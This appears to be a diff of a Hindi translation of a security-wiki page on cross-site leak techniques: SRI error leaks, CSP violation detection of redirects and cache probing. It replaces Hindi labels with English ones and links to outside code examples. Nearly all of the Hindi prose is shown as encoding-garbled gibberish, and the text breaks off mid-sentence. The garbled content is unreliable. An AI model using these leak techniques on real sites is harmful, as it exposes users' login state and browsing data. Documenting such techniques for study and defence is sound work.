**рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рд╛рдЗрдЯ рдХреЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЧрдВрддрд╡реНрдп рдирд┐рдХрд╛рд▓рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддреА рд╣реИ рдХрд┐ Webkit-рдЖрдзрд╛рд░рд┐рдд рдмреНрд░рд╛рдЙрдЬрд╝рд░ CORS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕рдВрднрд╛рд▓рддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЬрдм рдПрдХ **CORS-рд╕рдХреНрд╖рдо рдЕрдиреБрд░реЛрдз** рдХреЛ рдПрдХ рд▓рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдЯ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддреА рд╣реИ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрд╛рдж рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рддреЛ **рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рдХреНрд╖реНрдп рдХрд╛ рдкреВрд░рд╛ URL** рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рднреАрддрд░ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ рди рдХреЗрд╡рд▓ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рддрдереНрдп рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИ рдмрд▓реНрдХрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рдЕрдВрдд рдмрд┐рдВрджреБ рдФрд░ рдХрд┐рд╕реА рднреА **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░** рдХреЛ рднреА рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИ рдЬреЛ рдЗрд╕рдореЗрдВ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред -### SRI рддреНрд░реБрдЯрд┐ +### SRI Error -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: Fetch API -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╣реЗрдбрд░ -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3) -- **рд╕рд╛рд░рд╛рдВрд╢:** рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдкреВрд░рд╛ URL рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) +- **Inclusion Methods**: Fetch API +- **Detectable Difference**: Header +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3) +- **Summary:** Security Assertions (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдкреВрд░рд╛ URL рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред +- **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) -рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **рд╡рд┐рд╕реНрддреГрдд рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ** рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЖрдХрд╛рд░ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ Subresource Integrity (SRI) рдХреЗ рддрдВрддреНрд░ рдХреЗ рдХрд╛рд░рдг рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЦрдВрдбрддрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рдВрд╕рд╛рдзрди рдЬреЛ рдЖрдорддреМрд░ рдкрд░ CDNs рд╕реЗ рд▓рд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЙрдирдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИред SRI рдХреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрдиреНрд╣реЗрдВ **CORS-рд╕рдХреНрд╖рдо** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП; рдЕрдиреНрдпрдерд╛, рд╡реЗ рдЕрдЦрдВрдбрддрд╛ рдЬрд╛рдВрдЪ рдХреЗ рдЕрдзреАрди рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВред рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ XS-Leak рдХреА рддрд░рд╣, рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЛ рдПрдХ рдЕрдЦрдВрдбрддрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝реЗрдЪ рдЕрдиреБрд░реЛрдз рдХреЗ рдмрд╛рдж рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЬрд╛рдирдмреВрдЭрдХрд░ **рдЗрд╕ рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдПрдХ **рдмреЛрдЧрд╕ рд╣реИрд╢ рдорд╛рди** рдХреЛ рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз рдХреА рдЕрдЦрдВрдбрддрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ рдЕрд╕рд╛рдЗрди рдХрд░рдХреЗред SA рдореЗрдВ, рдкрд░рд┐рдгрд╛рдореА рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдЕрдиреБрд░реЛрдзрд┐рдд рд╕рдВрд╕рд╛рдзрди рдХреА рд╕рд╛рдордЧреНрд░реА рд▓рдВрдмрд╛рдИ рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рд╣реЛрдиреЗ рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЖрдХрд╛рд░ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ, рдЬреЛ рдкрд░рд┐рд╖реНрдХреГрдд XS-Leak рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд░рд╛рд╕реНрддрд╛ рдкреНрд░рд╢рд╕реНрдд рдХрд░рддреА рд╣реИред +рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **рд╡рд┐рд╕реНрддреГрдд рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ** рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЖрдХрд╛рд░ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ Subresource Integrity (SRI) рдХреЗ рддрдВрддреНрд░ рдХреЗ рдХрд╛рд░рдг рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рдВрд╕рд╛рдзрди, рдЬреЛ рдЕрдХреНрд╕рд░ CDNs рд╕реЗ рд▓рд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИред SRI рдХреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрдиреНрд╣реЗрдВ **CORS-рд╕рдХреНрд╖рдо** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП; рдЕрдиреНрдпрдерд╛, рдпреЗ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдЬрд╛рдВрдЪ рдХреЗ рдЕрдзреАрди рдирд╣реАрдВ рд╣реЛрддреЗред Security Assertions (SA) рдореЗрдВ, CORS рддреНрд░реБрдЯрд┐ XS-Leak рдХреА рддрд░рд╣, рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЛ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рдлреЗрдЪ рдЕрдиреБрд░реЛрдз рдХреЗ рдмрд╛рдж рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЬрд╛рдирдмреВрдЭрдХрд░ **рдЗрд╕ рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХрд┐рд╕реА рднреА рдЕрдиреБрд░реЛрдз рдХреЗ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХреЛ **рдмреЛрдЧрд╕ рд╣реИрд╢ рдорд╛рди** рд╕реМрдВрдкрдХрд░ред SA рдореЗрдВ, рдкрд░рд┐рдгрд╛рдореА рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдЕрдиреБрд░реЛрдзрд┐рдд рд╕рдВрд╕рд╛рдзрди рдХреА рд╕рд╛рдордЧреНрд░реА рдХреА рд▓рдВрдмрд╛рдИ рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рд╣реЛрдиреЗ рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЖрдХрд╛рд░ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ, рдЬреЛ рдЙрдиреНрдирдд XS-Leak рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд░рд╛рд╕реНрддрд╛ рдЦреЛрд▓рддреА рд╣реИред -### CSP рдЙрд▓реНрд▓рдВрдШрди/рдкрддрд╛ рд▓рдЧрд╛рдирд╛ +### CSP Violation/Detection -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: рдкреЙрдк-рдЕрдк -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╕реНрдерд┐рддрд┐ рдХреЛрдб -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) -- **рд╕рд╛рд░рд╛рдВрд╢:** рдпрджрд┐ рд╣рдо рдХреЗрд╡рд▓ рдкреАрдбрд╝рд┐рдд рдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ CSP рдореЗрдВ рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдПрдХ рдЕрд▓рдЧ рдбреЛрдореЗрди рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рддреЛ CSP рдПрдХ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдпреЛрдЧреНрдп рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдЧрд╛ред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation) +- **Inclusion Methods**: Pop-ups +- **Detectable Difference**: Status Code +- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) +- **Summary:** CSP рдореЗрдВ рдХреЗрд╡рд▓ рдкреАрдбрд╝рд┐рдд рдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдкрд░, рдпрджрд┐ рд╣рдо рдЗрд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдбреЛрдореЗрди рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ CSP рдПрдХ рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред +- **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation) -рдПрдХ XS-Leak CSP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рд╛рдЗрдЯ рдХреЛ рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рд▓реАрдХ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рд▓рдХреНрд╖реНрдп рдХрд╛ рдбреЛрдореЗрди рднреА рд▓реАрдХ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдореВрд▓ рд╡рд┐рдЪрд╛рд░ рд╣реИ **рд╣рдорд▓рд╛рд╡рд░ рд╕рд╛рдЗрдЯ рдкрд░ рд▓рдХреНрд╖рд┐рдд рдбреЛрдореЗрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛**ред рдПрдХ рдмрд╛рд░ рдЬрдм рд▓рдХреНрд╖рд┐рдд рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ **рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд** рд╣реЛрддрд╛ рд╣реИ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдбреЛрдореЗрди рдкрд░ред **CSP** рдЗрд╕рдХреЗ рд▓рд┐рдП рдкрд╣реБрдВрдЪ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ **рдЙрд▓реНрд▓рдВрдШрди рд░рд┐рдкреЛрд░реНрдЯ рдмрдирд╛рддрд╛ рд╣реИ рдЬреЛ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИ**ред рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, **рдпрд╣ рд░рд┐рдкреЛрд░реНрдЯ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рдХреНрд╖реНрдп рд╕реНрдерд╛рди рдХреЛ рд▓реАрдХ рдХрд░ рд╕рдХрддреА рд╣реИ**ред\ +рдПрдХ XS-Leak CSP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рд╛рдЗрдЯ рдХреЛ рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рд▓реАрдХ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рд▓рдХреНрд╖реНрдп рдХрд╛ рдбреЛрдореЗрди рднреА рд▓реАрдХ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдореВрд▓ рд╡рд┐рдЪрд╛рд░ рд╣реИ рдХрд┐ **рд╣рдорд▓рд╛рд╡рд░ рд╕рд╛рдЗрдЯ рдкрд░ рд▓рдХреНрд╖рд┐рдд рдбреЛрдореЗрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ**ред рдПрдХ рдмрд╛рд░ рдЬрдм рд▓рдХреНрд╖рд┐рдд рдбреЛрдореЗрди рдкрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ **рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд** рд╣реЛрддрд╛ рд╣реИ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдбреЛрдореЗрди рдкрд░ред **CSP** рдЗрд╕рдХреЗ рд▓рд┐рдП рдкрд╣реБрдВрдЪ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ **рдЙрд▓реНрд▓рдВрдШрди рд░рд┐рдкреЛрд░реНрдЯ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, **рдпрд╣ рд░рд┐рдкреЛрд░реНрдЯ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рдХреНрд╖реНрдп рд╕реНрдерд╛рди рдХреЛ рд▓реАрдХ рдХрд░ рд╕рдХрддреА рд╣реИ**ред\ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдпрд╣ рдирд╣реАрдВ рдмрддрд╛рддреЗ рдХрд┐ рдЗрд╕реЗ рдХрд┐рд╕ URL рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдЖрдк рдЕрднреА рднреА рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред -### рдХреИрд╢ +### Cache -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: рдлреНрд░реЗрдо, рдкреЙрдк-рдЕрдк -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рдкреГрд╖реНрда рд╕рд╛рдордЧреНрд░реА -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html) -- **рд╕рд╛рд░рд╛рдВрд╢:** рдХреИрд╢ рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдЯрд╛ рджреЗрдВред рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдЦреЛрд▓рддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреИрд╢ рдореЗрдВ рдореМрдЬреВрдж рд╣реИред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг:** +- **Inclusion Methods**: Frames, Pop-ups +- **Detectable Difference**: Page Content +- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html) +- **Summary:** рдлрд╝рд╛рдЗрд▓ рдХреЛ рдХреИрд╢ рд╕реЗ рд╣рдЯрд╛ рджреЗрдВред рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдЦреЛрд▓рддрд╛ рд╣реИ, рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреИрд╢ рдореЗрдВ рдореМрдЬреВрдж рд╣реИред +- **Code Example:** -рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рднреА рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдЭрд╛ рдХреИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрдирдХреЗ рдореВрд▓ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдиреЗ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рд╣реИ**ред +рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рднреА рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдЭрд╛ рдХреИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрдирдХреЗ рдореВрд▓ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдиреЗ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рд╣реИред -рдпрджрд┐ рдПрдХ рдкреГрд╖реНрда рдХреЗрд╡рд▓ рддрднреА рдПрдХ рдЫрд╡рд┐ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЖрдк **рд╕рдВрд╕рд╛рдзрди рдХреЛ рдЕрдорд╛рдиреНрдп** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рддрд╛рдХрд┐ рдпрд╣ рдЕрдм рдХреИрд╢ рдореЗрдВ рди рд╣реЛ, рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ), **рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ** рдЬреЛ рдЙрд╕ 